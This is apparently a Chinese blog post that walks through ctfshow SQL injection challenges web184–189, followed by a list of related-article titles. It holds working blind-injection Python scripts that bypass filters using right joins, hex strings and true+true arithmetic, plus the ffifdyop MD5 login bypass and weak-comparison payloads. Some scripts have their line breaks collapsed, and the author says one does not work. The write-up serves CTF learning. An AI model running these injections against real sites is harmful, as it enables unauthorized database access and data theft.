芜湖,刚刚考完科目三,又是开始学习的一天

web184

之前的懒得重新写了,

这里用"right join"右连接来把两个表连接起来进行查询pass字段,后面的单引号可以用16进制编码绕过

RIGHT JOIN(右连接)

用于获取右表所有记录,即使左表没有对应匹配的记录
过滤了where 所以我们用 on
过滤了单引号 所以我们用char(99) =c
char表 :char表

回显43;
然后我们写个脚本

import requests
url='http://1f6a8d55-3dd2-4924-a125-a22cb98125b5.challenge.ctf.show:8080/select-waf.php'
strflag='{1234567890-qwertyuiopasdfghjklzxcvbnm}'
payload='tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))'
flag=''
for i in range(60):if(i<5):continuefor c in range(127):data={'tableName' : payload.format(str(i),c)}rep=requests.post(url,data=data)if(rep.text.find("$user_count = 22;")>0):flag+=chr(c)breakprint('正在盲注第{}位'.format(str(i)))
print('flag is ctfshow{}'.format(flag))


上面的我也不知道哪错了,有大哥路过的话帮俺看看
我又换了种,南方大佬的方法
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
后面是base64编码后的 ctfshow%
like 是匹配带有ctfshow的字段

import requests
import binasciidef to_hex(s):# 字符串转16进制str_16 = binascii.b2a_hex(s.encode('utf-8'))  str_16 = bytes.decode(str_16)res = str_16.replace("b'","").replace("'","")return resurl = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):for j in str:result = "0x" + to_hex(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}res = requests.post(url=url, data=data)if "$user_count = 43" in res.text:flag += jprint(flag)if j=="}":exit()break

这个OK了

web185


把所有数字都ban掉了,但是我学到了绕过方法
在mysql中 true 代表1 true+true 就是2



然后我们就可以构造数字了
脚本如下

import requestsdef createNum(n):str = 'true'if n == 1:return 'true'else:for i in range(n - 1):str += "+true"return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):str=""str+="chr("+createNum(ord(s[0]))+")"for i in s[1:]:str+=",chr("+createNum(ord(i))+")"return strurl = "http://2a90f1df-1ab5-434c-ac5e-bd9a5fe3aec0.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):for j in str:result = change_str(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}res = requests.post(url=url, data=data)if "$user_count = 43;" in res.text:flag += jprint(flag)if j=="}":exit()break

web 186

上一个还能接着用

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requestsdef createNum(n):str = 'true'if n == 1:return 'true'else:for i in range(n - 1):str += "+true"return strdef change_str(s):str=""str+="chr("+createNum(ord(s[0]))+")"for i in s[1:]:str+=",chr("+createNum(ord(i))+")"return strurl = "http://3044fe6f-042f-49ea-a38c-5806a2404c7f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):for j in str:result = change_str(flag + j + "%")#print(result)data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}res = requests.post(url=url, data=data)if "$user_count = 43;" in res.text:flag += jprint(flag)if j=="}":exit()break

web 187

这次是个输入框,看题可知password 需要进行md5加密
然后我学到了这个字符串 :ffifdyop
他的md5恰好是’or’6�]��!r,��b
可以拼接成select * from admin where password=’‘or’6<乱码>’
不光有ffifdyop 还有129581926211651571912466741651878684928 也可达同样的效果
总之,相当于 select * from admin where password=’'or ture
账号:admin
密码:ffifdyop
flag在返回包中

web 188


可以看到是使用用户名查询然后在匹配密码
这里是用了弱比较

if($row['pass']==intval($password)){$ret['msg']='登陆成功';

如果个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,
username=0&password=0
如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符
username=1||1&password=0

web189

用上题的方法不行,看南神博客说用盲注
开局就来个提示,flag在api/index.php中
这次尝试username=0&password=0登录,发现提示密码错误,说明是密码跟上一题不一样了,不是以字母开头的数据。根据提示,flag的位置在一个文件中,可以用load_file来配合regexp来进行盲注

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

有问题这个等我整明白再说

web 190-200,再议

ctfshow ,web入门,sql注入题相关推荐

  1. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  2. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  3. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

  4. 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2

    [第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...

  5. 一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

    概述 项目地址 本题是一个盲注题,可以基于布尔也可以基于时间,如果不会的话可以根据提示在网址后面加一个?tips=1降低难度成为一个基于报错的盲注. 本题所有脚本均用傻逼爆破,没有用二分法,有兴趣的大 ...

  6. BUUCTF [第一章 web入门]SQL注入-2

    经分析后可知:当输入admin' and 1=3# 时返回为假 {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\ ...

  7. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  8. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  9. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  10. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

最新文章

  1. autoware使用相机和深度学习进行目标检测(六)
  2. NC:潮湿的墙体和家具中微生物迅速增长!
  3. 大连网络推广明确做好网站标题优化对网站排名的提升影响
  4. 数据结构与算法—一文多图搞懂双链表
  5. 【youcans 的 OpenCV 例程 200 篇】110. 投影和雷登变换
  6. Tcpdump 超级详细的用法
  7. 十五、K8s helm包管理与应用
  8. QT开发(三十四)——QT多线程编程
  9. Head First 设计模式目录
  10. linux 自动开飞行模式,Android飞行模式灰显不能操作问题分解
  11. 科普:不给手游平台源码的公司能不能选?
  12. c语言两位数码管动态显示,十天学会单片机和c语言编程数码管动态显示.pptx
  13. Origin常见使用问题集锦
  14. ACDsee的安装过程
  15. 2022年湖南省初级审计师考试模拟题及答案
  16. Java程序员工资为什么越来越高?
  17. 【解决办法】Dell AWCC应用程序不兼容超频不可用
  18. 2017美国数学建模ICM D题 优化机场安全的乘客吞吐量检查点(Optimizing the Passenger Throughput at an Airport Security Checkpo)
  19. Exception 异常和自定义异常
  20. 2000元 组装车 思路

热门文章

  1. WebService安装中的典型错误(0x8007000d)-WIN7操作系统64位
  2. 国考省考行测:接语选择题,接下来最可能讲,上文可能谈,引言可能谈,有过渡句,看新主体,无过渡句,看主旨意思
  3. 七层协议功能及对应协议
  4. python中getattr详解
  5. 【AdaSeq基础】30+NER数据汇总,涉及多行业、多模态命名实体识别数据集收集
  6. 约瑟夫环问题-基础版(数学归纳法)
  7. 全网最全的Java岗IO流面试题(含答案)
  8. 国科大的计算机水平如何,清华眼中的国科大是什么级别?国科大厉害还是清北厉害?...
  9. 如何在手机上打开epub格式电子书
  10. python pandas rename_Python3 pandas库(10) 修改列名和索引rename()